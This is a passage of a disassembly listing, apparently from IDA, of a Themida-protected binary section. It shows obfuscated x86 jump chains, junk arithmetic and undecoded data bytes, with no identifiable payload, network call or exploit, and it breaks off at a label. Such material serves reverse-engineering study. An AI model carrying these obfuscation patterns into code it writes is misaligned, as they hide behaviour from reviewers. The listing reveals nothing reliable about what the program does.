		sub	esi, 0D013FAA9h
		mov	eax, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54A84E
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FC1B3EBEh, 24C68122h, 0E9135850h, 0FFFF92D6h, 0E67FE950h
		dd 34FFFFFFh, 240C8B24h, 37C0E9h, 10406800h, 3C890000h
		dd 24148B24h, 4C481h, 3C8B0000h, 4C48324h, 2414F757h, 0E957525Fh
		dd 0FFFFE60Ch, 2D5EF001h, 1B8011A5h, 0FFA9D0E9h, 48B66FFh
		dd 4EC8324h, 54242C89h,	0B5BB535Dh, 811CE533h, 0E15AC7EBh
		dd 57C38130h, 0E94CDF43h, 0FFFFA316h
; ---------------------------------------------------------------------------


loc_54A0A8:				; CODE XREF: Themida_:0054AD01j
		push	esi
		mov	esi, 17554B25h
		add	[esp+8], esi
		pop	esi
		pop	esi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54D351
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF75EDE9h, 0E94404FFh, 0FFFF803Ch, 2474FF53h, 48F5B04h
		dd 89665C24h, 8EB22414h, 2D90E9h, 0E9C50100h, 0FFFFE3ECh
		dd 240C8B54h, 4C481h, 89530000h, 4C381E3h, 81000000h, 4EBh
		dd 241C8700h, 241C895Ch, 406723BBh, 0F9CB8169h,	8123DB2Ah
		dd 8E14F5CBh, 59E38136h, 430FEA42h, 0FFBF6BE9h,	59CD01FFh
		dd 31242C33h, 2C33242Ch, 24248B24h, 0FF8B25E9h,	0C38166FFh
		dd 8166FFFFh, 0E902FCF3h, 0FFFFD7B0h, 662CBB2Dh, 82BB530Bh
		dd 1517C67h, 0F41CE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A166:				; CODE XREF: Themida_:0054D754j
		mov	ebx, 0A03CF5ABh
		add	ebx, eax
		jmp	loc_547575
; ---------------------------------------------------------------------------


loc_54A172:				; CODE XREF: Themida_:00549A19j
		sub	esp, 4
		mov	[esp], ecx
		push	287Ah
		jmp	loc_5425AE
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0C6h
		dd 1C772158h, 8B2434FFh, 3FE92434h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A197:				; CODE XREF: Themida_:005456D1j
		add	eax, 3EDB4A53h
		jmp	loc_541D11
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 71CEE99Ch, 9159FFFFh, 5051D0F7h, 7CB9E959h, 0EE81FFFFh
		dd 8194E767h, 0FF90A5E9h, 0DBBF57FFh, 52212575h, 3A1BD1BAh
		dd 2ACA8121h, 0E9241B7Ch, 2948h
; ---------------------------------------------------------------------------


loc_54A1D8:				; CODE XREF: Themida_:0054571Aj
		xchg	ebx, [esp]
		pop	esp
		popa
		popf
		jmp	locret_54C115
; ---------------------------------------------------------------------------
		db 81h
		dd 7304246Ch, 0E9770E03h, 2C5Eh, 0E955E689h, 0FFFFC871h
		dd 56B3EA81h, 0F20179DAh, 1ACEE9h, 74FF5500h, 0FAE90424h
		dd 4000008h, 58C1281Fh,	34FFC130h, 54555824h, 0B00EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A222:				; CODE XREF: Themida_:0054B5D0j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 89h
		dd 4AE952E6h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A243:				; CODE XREF: Themida_:0054C580j
		mov	bl, 4Dh
		jmp	loc_54A293
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C481h, 91E90000h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A25B:				; CODE XREF: Themida_:00543E99j
		sub	ebx, 4C6F4750h
		jmp	loc_546205
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 710AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A26E:				; CODE XREF: Themida_:0054BEF0j
		add	esi, 0FEFBFFF9h
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5486B4
; ---------------------------------------------------------------------------


loc_54A293:				; CODE XREF: Themida_:0054A245j
		xor	bl, 3Fh
		jmp	loc_545F52
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF243C89h, 8B042474h, 0C483243Ch, 849FE904h, 205AFFFFh
		dd 2434FFF8h, 0FF96BFE9h, 3A0668FFh, 2C890000h,	0B596824h
		dd 0E9540000h, 1590h, 104C483h,	0BD555DEFh, 4, 32EE9h
		dd 0E0B25200h, 0FFD597E9h, 4077FFFFh, 0FFEA71E9h, 8EAC1FFh
		dd 56DAF742h, 0F55B5DBEh, 8BF20916h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_54995E
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 0Ch
		dd 0C8B5C24h, 32E2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A31A:				; CODE XREF: Themida_:00545F9Aj
		pop	edx
		and	eax, ebp
		jmp	loc_546F8A
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFD647h, 0C3815B54h, 4, 4C381h, 1C870000h, 38B5C24h
		dd 1163E9h, 48F5C00h, 702EE924h, 0B652FFFFh, 5AF58889h
		dd 5966E800h, 80F4B753h, 0E3E9BFE7h, 29FFFF84h,	9E95FFDh
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A367:				; CODE XREF: Themida_:00546061j
		inc	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 138F0F14h
		shl	edx, 5
		add	edx, 52066E4h
		and	edx, 32141A39h
		push	ecx
		mov	ecx, 672D01A1h
		push	ebx
		mov	ebx, 768D7466h
		not	ebx
		add	ebx, 183D033Ah
		add	ebx, 0BA37BA74h
		add	ecx, ebx
		pop	ebx
		jmp	loc_545150
; ---------------------------------------------------------------------------
		dd 42E9D730h, 29FFFF8Ch, 240C8BCEh, 4C481h, 0F2210000h
		dd 0FFCD2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A3BD:				; CODE XREF: Themida_:0054A5DDj
		neg	ecx
		neg	ecx
		jmp	loc_541463
; ---------------------------------------------------------------------------
		dw 5158h
		dd 14093168h, 81415917h, 0F8CAE7E9h, 59C801BBh,	4B2DF829h
		dd 0E95B1B3Eh, 2EADh
; ---------------------------------------------------------------------------


loc_54A3E4:				; CODE XREF: Themida_:0054C1CBj
		add	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_5437F6
; ---------------------------------------------------------------------------


loc_54A3EE:				; CODE XREF: Themida_:00545061j
		add	edi, 4
		sub	edi, 4
		jmp	loc_54BF30
; ---------------------------------------------------------------------------


loc_54A3FF:				; CODE XREF: Themida_:00545C93j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 613074DCh
		sub	edi, 613074D8h
		add	edx, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	edx, 300333EFh
		add	edx, edi
		sub	edx, 300333EFh
		jmp	loc_547420
; ---------------------------------------------------------------------------
		db 0B7h, 49h, 80h
		dd 0F828FAF7h, 83241C8Bh, 3F2C04C4h, 37D168h, 240C8900h
		dd 5072B252h, 0F60FB151h, 0FED1F6D9h, 1BFCE9C9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A466:				; CODE XREF: Themida_:00546C1Bj
		xor	ebp, 0CF19B545h
		jmp	loc_545E39
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B58240Ch, 5455240Ch, 4C5815Dh, 68000000h
		dd 7ABCh, 0E9240C89h, 0FFFF8774h, 0E98159h, 0C15C2E77h
		dd 1BE908E1h, 87FFFFDAh, 3E9243Ch, 51FFFF92h, 0C181E189h
		dd 4, 71E9h, 6CE95C00h,	88000008h, 0C85BE9FEh, 0C181FFFFh
		dd 1, 2F41E9h, 2414F700h, 0B4B8505Ah, 251DF61Eh, 6BB36224h
		dd 0FFD887E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A4E5:				; CODE XREF: Themida_:00544E3Ej
		add	ebp, ecx
		pop	ecx
		push	556Ah
		mov	[esp], edx
		push	6713079Fh
		pop	edx
		push	eax
		jmp	loc_5470BA
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF6E74h
; ---------------------------------------------------------------------------


loc_54A504:				; CODE XREF: Themida_:0054B857j
		xchg	ebx, [esp]
		jmp	loc_545CCB
; ---------------------------------------------------------------------------
		dd 0F1D4E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A512:				; CODE XREF: Themida_:00543261j
		add	eax, [ebx]
		mov	ebx, [esp]
		jmp	loc_545591
; ---------------------------------------------------------------------------


loc_54A51C:				; CODE XREF: Themida_:00541935j
		sub	edi, 362B8BAh
		sub	edx, edi
		pop	edi
		jmp	loc_544763
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4, 5C240C87h, 50240C89h, 123BA1B8h, 54E95745h, 50FFFF79h
		dd 0AD2F88B8h, 0FAB2356Ah, 0C201B4A2h, 0EAC28158h, 573CE032h
		dd 0B00B8C68h, 9350E926h, 8668FFFFh, 0E900000Ch, 0FFFF7356h
		dd 5FD2E581h, 0E581558Eh, 1F6A7EF9h, 5004EDC1h,	3C56A2B8h
		dd 7330E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A586:				; CODE XREF: Themida_:0054C3BAj
		or	eax, eax
		jz	loc_548F66
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54BFB8
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 580E07F2h, 0E981F101h, 580E07F2h, 240C875Eh,	3824248Bh
		dd 0C1E99CC1h, 0FEFFFF6Dh, 0E99C240Ch, 0FFFF6DB8h, 875EF229h
		dd 895C2414h, 5A542414h, 505CB951h, 85E927C9h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A5D7:				; CODE XREF: Themida_:0054B1F8j
		push	ecx
		mov	ecx, 53B76D3Dh
		jmp	loc_54A3BD
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704EA83h, 895C2414h, 53E9241Ch, 0FFFFFFB2h, 68582434h
		dd 38CDh, 0FF754FE9h, 31E95CFFh, 1FFFFC1h, 5DE95DEFh, 89000018h
		dd 533A68E2h, 4890000h,	87E7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A622:				; CODE XREF: Themida_:0054A7ECj
		shr	ecx, 4
		jmp	loc_549262
; ---------------------------------------------------------------------------


loc_54A62A:				; CODE XREF: Themida_:00544212j
		xor	ebp, ebx
		jmp	loc_546D74
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 5Bh
		dd 31242C33h, 2C33242Ch, 3C895C24h, 4BF24h, 0C6810000h
		dd 1C845624h, 0EE81FE01h, 1C845624h, 52243C8Bh,	0C281E289h
		dd 4, 0FF9938E9h, 405FFh, 0BD550000h, 4, 875DE829h, 895C2404h
		dd 0BD242Ch, 0E9000004h, 0FFFF9999h, 4EE9E789h,	50FFFFD5h
		dd 0C44E3DB8h, 8487E92Ah, 0FA01FFFFh, 0FFD0015Fh, 0E95A2434h
		dd 0FFFFD00Dh, 2414895Ch, 0E95B5453h, 0FFFF93B3h
; ---------------------------------------------------------------------------


loc_54A6B0:				; CODE XREF: Themida_:00548330j
		mov	ebp, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_54476A
; ---------------------------------------------------------------------------


loc_54A6C1:				; CODE XREF: Themida_:00544ADAj
		push	esi
		mov	esi, 70733D4Dh
		or	esi, 28160561h
		inc	esi
		push	eax
		mov	eax, 7D34103Eh
		add	esi, 28DB5A69h
		sub	esi, eax
		sub	esi, 28DB5A69h
		jmp	loc_54D808
; ---------------------------------------------------------------------------
		db 52h
		dd 0F28023B2h, 0B6FFE9CAh, 8B66FFFFh, 0F6E9241Ch, 56FFFF9Dh
		dd 0D6AE9h, 0B3535A00h,	0E9CBFE3Ah, 0FFFF8144h,	8D7C8EB9h
		dd 22C18127h, 5253A695h, 4C3B8ABAh, 703E930h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A722:				; CODE XREF: Themida_:00545510j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_545A87
; ---------------------------------------------------------------------------


loc_54A732:				; CODE XREF: Themida_:00549458j
		push	eax
		mov	eax, 6F1B7BDAh
		sub	eax, 61C1644h
		not	eax
		not	eax
		jmp	loc_54598F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFB1D8E9h, 0C8B66FFh, 20685124h,	6800002Ah, 21B0h
		dd 0FFC220E9h, 1DC580FFh, 0D6EB80h, 0D6C380EBh,	0E9240C8Bh
		dd 0FFFFAB7Eh, 4240483h, 8124048Bh, 4C4h, 6AB46800h, 34890000h
		dd 0B93BE24h, 62E90E62h, 81000029h, 4C4h, 2C08300h, 31240433h
		dd 4332404h, 0F09CE924h, 0F635FFFFh, 2544967Fh,	6AE1235Fh
		dd 83D2E948h, 0A5BFFFFFh, 53715E81h, 977CE952h,	0D366FFFFh
		dd 0E99C2424h, 0FFFF6BA4h, 0BD5E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A7DA:				; CODE XREF: Themida_:00548CC5j
		push	ecx
		mov	ecx, 6F53445Fh
		add	ecx, 73016694h
		add	ecx, 2D7E68E5h
		jmp	loc_54A622
; ---------------------------------------------------------------------------


loc_54A7F1:				; CODE XREF: Themida_:00546455j
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		div	ecx
		jmp	loc_544AF7
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 0A7B8E924h, 5A54FFFFh, 4C281h, 0E9530000h, 0A16h, 34FF7E04h
		dd 9057E924h, 0CB81FFFFh, 56D62114h, 675CC381h,	0EB811557h
		dd 9E003E5Dh, 1C8BD831h, 4C48324h, 5658C201h, 27426CBEh
		dd 0B5C3E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A84E:				; CODE XREF: Themida_:0054A02Cj
		pop	esp
		xor	ecx, eax
		pop	eax
		push	esi
		jmp	loc_54899C
; ---------------------------------------------------------------------------
		dd 0ABE9E801h, 87FFFFDCh, 8F5C241Ch, 248B2404h,	88FE924h
		dd 0E9560000h, 0FFFFBCA9h, 160E2D66h, 66C80166h, 66160E05h
		dd 81240C8Bh, 2C4h, 0B8665000h,	0C16654D8h, 46E906E0h
		dd 66FFFF71h, 66CCB60Fh, 66659268h, 66240C89h, 66C8B60Fh
		dd 0E1E99C51h, 0F6FFFFCBh, 0C0D6F6D6h, 0EE8006EEh, 8BF78899h
		dd 0C4832414h, 2CCE0404h, 4F80069h, 66CE2C69h, 51241C8Bh
		dd 0FF736FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A8D5:				; CODE XREF: Themida_:00546C6Bj
		shl	eax, 2
		xor	eax, 1B4E2880h
		sub	eax, 65BE24EFh
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 55FA02A9h
		jmp	loc_54AD68
; ---------------------------------------------------------------------------
		dd 1359E958h, 0BB2D0000h, 933A151Bh, 0D9E9934Bh
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A90B:				; CODE XREF: Themida_:00541DC5j
		sub	ebp, 1A7918F4h
		add	ebp, edx
		push	esi
		push	ecx
		push	64694B66h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 2D6F0F8Ah
		jmp	loc_54B478
; ---------------------------------------------------------------------------
		db 29h
		dd 1B8D2DC8h, 7FE9753Fh, 83FFFFAFh, 0C18104C4h,	2, 0E9240C33h
		dd 0FFFFA1E7h, 3BC7E181h, 0E9813EB8h, 0E8ABDFBDh, 0FFC93EE9h
		dd 58C289FFh, 0C15A5952h, 0E9C105E9h, 0D5C18106h, 1FFF563h
		dd 343359CEh, 24343124h, 8B243433h, 0C4832424h,	2434FF04h
		dd 582434FFh, 6804C483h, 0BC4h,	68241C89h, 4F04h, 24048F54h
		dd 4240481h, 5B000000h,	4BA52h,	0D3010000h, 4C3835Ah, 31241C33h
		dd 93E9241Ch
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A9B7:				; CODE XREF: Themida_:005498AAj
		push	edx
		mov	edx, 21DC537Ch
		xor	edx, 21DC5378h
		add	edi, edx
		pop	edx
		sub	edi, 4
		jmp	loc_541ECF
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 645A6A3Dh, 1AACE94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A9DA:				; CODE XREF: Themida_:0054D8D7j
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 587A0D41h
		jmp	loc_54D7C3
; ---------------------------------------------------------------------------
		db 1
		dd 0F1BA52FBh, 556C694Ch, 3E00B850h, 0DA35315Dh, 4061AA5Bh
		dd 0FFD2D9E9h, 68FFh, 34FF0000h, 0AA685B24h, 8900006Bh
		dd 0E6892434h, 71A5BA52h, 0D2F76CE6h, 81D2F742h, 0E671A0F2h
		dd 0F6C6816Ch, 1665054h, 0F6EE81D6h, 0E9665054h, 1938h
		dd 240C8B66h, 7B0568h, 22B9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA4A:				; CODE XREF: Themida_:005414E6j
		xor	ah, ch
		pop	ecx
		add	bl, ah
		pop	eax
		shl	bl, 2
		add	bl, 55h
		sub	dh, bl
		pop	ebx
		xor	al, dh
		jmp	loc_546E09
; ---------------------------------------------------------------------------
		dd 434B050h, 344F2401h,	2C16E951h, 0C860000h, 10A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA76:				; CODE XREF: Themida_:00544EFBj
		pop	esi
		jmp	loc_545711
; ---------------------------------------------------------------------------
		dd 4BB53h, 5C010000h, 0E95B0424h, 1CB8h, 52CDB050h, 0FFAD52E9h
		dd 4EC81FFh, 89000000h,	8B54243Ch, 3CE9243Ch, 0ADFFFFB8h
		dd 7D68D831h, 89000037h, 0BF57240Ch, 2FA94BF2h,	0DC24CB9h
		dd 5FF9294Fh, 9D53E981h, 0BA52101Fh, 49DE70F2h,	5708EAC1h
		dd 0CBE955h, 4280000h, 99E99C24h, 58FFFF68h, 0ECBA525Eh
		dd 0E96E865Eh, 0FFFFD5DAh, 24048156h, 1CB645C0h, 0C0BA525Dh
		dd 291CB645h, 348B5AD5h, 4C48324h, 0FF7905E9h, 48F5DFFh
		dd 0DC12E924h, 3C33FFFFh, 24248B24h, 8904EC83h,	0E789243Ch
		dd 0FFB1EDE9h, 2E2C1FFh, 6D6E9h, 68D6F700h, 531Ah, 1F58E9h
		dd 24048300h, 0A35BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AB42:				; CODE XREF: Themida_:005450D5j
		pop	eax
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_545C22
; ---------------------------------------------------------------------------
		dd 835EF501h, 2C8704C5h, 0C4815C24h, 4,	0FFB725E9h, 58F0DFFh
		dd 0E9406109h, 2179h
; ---------------------------------------------------------------------------


loc_54AB78:				; CODE XREF: Themida_:0054500Cj
		pop	esi
		pop	edx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_548FD7
; ---------------------------------------------------------------------------


loc_54AB85:				; CODE XREF: Themida_:00545AF4j
		push	edx
		mov	edx, eax
		mov	ebp, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_541A77
; ---------------------------------------------------------------------------
		db 0BDh, 8Ch, 4Ch
		dd 0EDC10516h, 0EBF58108h, 81467910h, 0ACB80EDh, 5DEF8907h
		dd 0FFFAD9E9h, 0F6664FFh, 686602B6h, 73E94265h,	66000003h
		dd 9C2424D3h, 0FF67A3E9h, 0F8015AFFh, 7396E955h, 0C681FFFFh
		dd 632C15CBh, 2DDC6858h, 3C890000h, 0B4FBE924h,	0C181FFFFh
		dd 4, 0FFA8D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ABFD:				; CODE XREF: Themida_:0054568Ej
		xor	eax, 17596778h
		mov	ebp, eax
		pop	eax
		add	ebp, 5ABF04B2h
		shr	ebp, 3
		jmp	loc_545550
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 56E28924h, 0FFCB77E9h, 0E9D1F7FFh, 0FFFF9A63h
		dd 448B6857h, 0C1E970BBh, 85FFFFBEh, 0C6E99CC8h, 0BDFFFF72h
		dd 30112571h, 0E95DEB29h, 0A2Fh
; ---------------------------------------------------------------------------


loc_54AC48:				; CODE XREF: Themida_:00549E57j
		sub	edi, 1FEE7434h
		add	edi, eax
		add	edi, 1FEE7434h
		sub	edi, 23747E1h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	5F7631BBh
		pop	esi
		push	ebp
		mov	ebp, 74096CD8h
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0D3779E93h
		xor	esi, ebx
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_543631
; ---------------------------------------------------------------------------
		db 68h
		dd 0F30h, 57240C89h, 0A559D6BFh, 0E753E93Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ACA2:				; CODE XREF: Themida_:005492DEj
		pop	edi
		add	dword ptr [esp+4], 58C87A26h
		jmp	loc_5419CF
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E3BAE959h, 0D101FFFFh, 2C1815Ah, 51000000h
		dd 0FFFFE7E9h, 2434FFFFh, 0E924048Bh, 766h
; ---------------------------------------------------------------------------


loc_54ACD4:				; CODE XREF: Themida_:005495C9j
		shl	edx, 4
		push	eax
		mov	eax, 3D97781Eh
		sub	edx, eax
		pop	eax
		jmp	loc_54D57A
; ---------------------------------------------------------------------------


loc_54ACE5:				; CODE XREF: Themida_:00545324j
		mov	[esp], ebx
		push	343Fh
		mov	[esp], esi
		mov	esi, 0C472A7Ch
		sub	dword ptr [esp+4], 17554B25h
		add	[esp+4], esi
		jmp	loc_54A0A8
; ---------------------------------------------------------------------------


loc_54AD06:				; CODE XREF: Themida_:005470E5j
		push	small 721Dh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_541378
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0E9DDF702h, 0FFFF972Fh, 8BD9895Eh, 73E9241Ch, 0FFFFFF91h
		dd 34FF2434h, 0D20DE924h, 2A68FFFFh, 0E9000031h, 0F0Fh
; ---------------------------------------------------------------------------


loc_54AD40:				; CODE XREF: Themida_:00549BD5j
		mov	[edi+eax*4], bh
		mov	ebx, [esp]
		push	ebx
		jmp	loc_547391
; ---------------------------------------------------------------------------
		dd 2BA92D59h, 0A12D14EEh, 2912D17Dh, 7DA105D8h,	0A90512D1h
		dd 0E914EE2Bh, 0FFFFB5AFh
; ---------------------------------------------------------------------------


loc_54AD68:				; CODE XREF: Themida_:0054A8F3j
		sub	edx, ebx
		jmp	loc_54C570
; ---------------------------------------------------------------------------
		db 5Ah
		dd 34E9CDFEh, 83FFFFD0h, 3C8704C7h, 24248B24h, 4E9C009h
		dd 50000026h, 0A5076CB8h, 24448131h, 0BA220304h, 24440105h
		dd 263D6804h, 0C890000h, 2203B924h, 4C2905BAh, 8B590824h
		dd 0C4812404h, 4, 6824048Bh, 6A0Dh, 89243489h, 3F6168E6h
		dd 0E4E90000h, 0C1FFFFEAh, 0E95308EDh, 0FFFFC006h, 0E9565F54h
		dd 0FFFF8744h
; ---------------------------------------------------------------------------


loc_54ADDC:				; CODE XREF: Themida_:0054718Fj
		neg	ecx
		xor	ecx, 18590FF7h
		sub	eax, ecx
		pop	ecx
		sub	eax, ebp
		add	eax, 1D454016h
		add	eax, 20F25966h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 71055929h
		jmp	loc_54602B
; ---------------------------------------------------------------------------
		dd 0BBh, 88CB0100h, 34FF5B03h, 240C8B24h, 245EE950h, 0CA010000h
		dd 0FF84E4E9h, 9FC281FFh, 0E91D7619h, 0FFFF66D1h
; ---------------------------------------------------------------------------


loc_54AE30:				; CODE XREF: Themida_:00545E4Cj
		and	dword ptr [edi+20h], 1067107Ah
		jmp	loc_543A77
; ---------------------------------------------------------------------------
		dd 89241489h, 4B951E2h,	1000000h, 0E95759CAh, 0FFFFDC16h
		dd 626D68h, 240C8900h, 1AE9E189h, 87000028h, 9AB951EAh
		dd 0F762D373h, 0C7C181D9h, 0E9234453h, 0FFFFA9CFh
; ---------------------------------------------------------------------------


loc_54AE74:				; CODE XREF: Themida_:005492A1j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 2E514776h
		jmp	loc_543608
; ---------------------------------------------------------------------------


loc_54AE92:				; CODE XREF: Themida_:00546D75j
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_544C80
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 0FFF5FAE9h, 0E9FB01FFh, 0FFFFD69Dh
; ---------------------------------------------------------------------------


loc_54AEB8:				; CODE XREF: Themida_:00543D46j
		mov	[esp], eax
		jmp	loc_54D557
; ---------------------------------------------------------------------------
		dd offset dword_4E204C+31Ch
		dd 92D0E900h, 0EBC1FFFFh, 0E8F38102h, 89744CAFh, 666AE9DAh
		dd 4968FFFFh, 0E9000045h, 0FFFF9E28h, 68243C89h, 620h
		dd 81242489h, 42404h, 815F0000h, 4C7h, 4C78100h, 57000000h
		dd 42474FFh, 237BE9h, 81DAF700h, 0E94759C2h, 5AD02912h
		dd 0A305E948h, 3489FFFFh, 4BE24h, 0F5010000h, 242C335Eh
		dd 33242C31h, 0FF5C242Ch, 0C8B2434h, 0C220E924h, 8966FFFFh
		dd 1BE92404h, 5800000Bh, 6032C381h, 0C3297ECAh,	6032EB81h
		dd 0EC817ECAh, 4, 0BF243C89h, 5A9A150Eh, 0FFDB3FE9h, 3A26B9FFh
		dd 0CF0123F0h, 0B40CE959h, 0FDE9FFFFh, 0FFFFFF63h, 669D1C77h
		dd 4196658h, 30E99C24h,	0FFFFFF7Ah, 59042474h, 3D5E9h
		dd 241C3300h, 33241C31h, 21E9241Ch, 0F7FFFFA2h,	1251E9D2h
		dd 0E9830000h, 240C8704h, 243C895Ch, 42474FFh, 0FFC304E9h
		dd 4C283FFh, 8B241487h,	0C7812424h, 4, 8702C783h, 665C243Ch
		dd 9C243CD3h, 0FF9082E9h, 4EC81FFh, 89000000h, 4BD242Ch
		dd 89000000h, 86C8E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AFF2:				; CODE XREF: Themida_:005476A3j
		sub	[edi+24h], edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54D620
; ---------------------------------------------------------------------------
		dd 8B1C5F21h, 0C483241Ch, 636AE904h, 0F789FFFFh, 0BCBA525Eh
		dd 125BE57h, 0DFF75AD7h, 23FCBB53h, 0F38111C1h,	7A661756h
		dd 0FFA3A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B02D:				; CODE XREF: Themida_:0054190Cj
		pop	eax
		or	esi, ebx
		pop	ebx
		jmp	loc_548494
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D3h, 0FF6333E9h, 243C89FFh,	0D45E64BFh
		dd 82E4E90Ah, 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h
		dd 55243C89h, 6F26BA52h, 30E925C5h, 83FFFFBEh, 148904ECh
		dd 4BA24h, 0D1010000h, 240C335Ah, 33240C31h, 248B240Ch
		dd 242C8124h, 3AC56285h, 2C242C81h, 1581E7Bh, 80682404h
		dd 8900005Fh, 2C682434h, 5E581E7Bh, 0FFF132E9h,	4BAFFh
		dd 54010000h, 595A0424h, 563FBE56h, 0DEF7782Bh,	445068h
		dd 240C8900h, 0F72235B9h, 0E9CE2957h, 0FFFFE38Bh, 8B66C830h
		dd 0EDE9240Ch, 66000013h, 5024048Bh, 6BE95854h,	0B8FFFF70h
		dd 4, 4244401h,	0FFF9E2E9h, 48B66FFh, 4EC8324h,	0E9243489h
		dd 0FFFFD510h, 28BBh, 8E7CE900h, 0C181FFFFh, 47F4C62h
		dd 5E9C15Eh, 69C18149h,	0E9FD3DEBh, 0FFFFDD50h,	0E610D40h
		dd 922D4992h, 0C14A9703h, 0DB3507E0h, 52030A03h, 0F85912BAh
		dd 81E2D16Dh, 0B8FBC5EAh, 7CEAE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B152:				; CODE XREF: Themida_:00545C2Bj
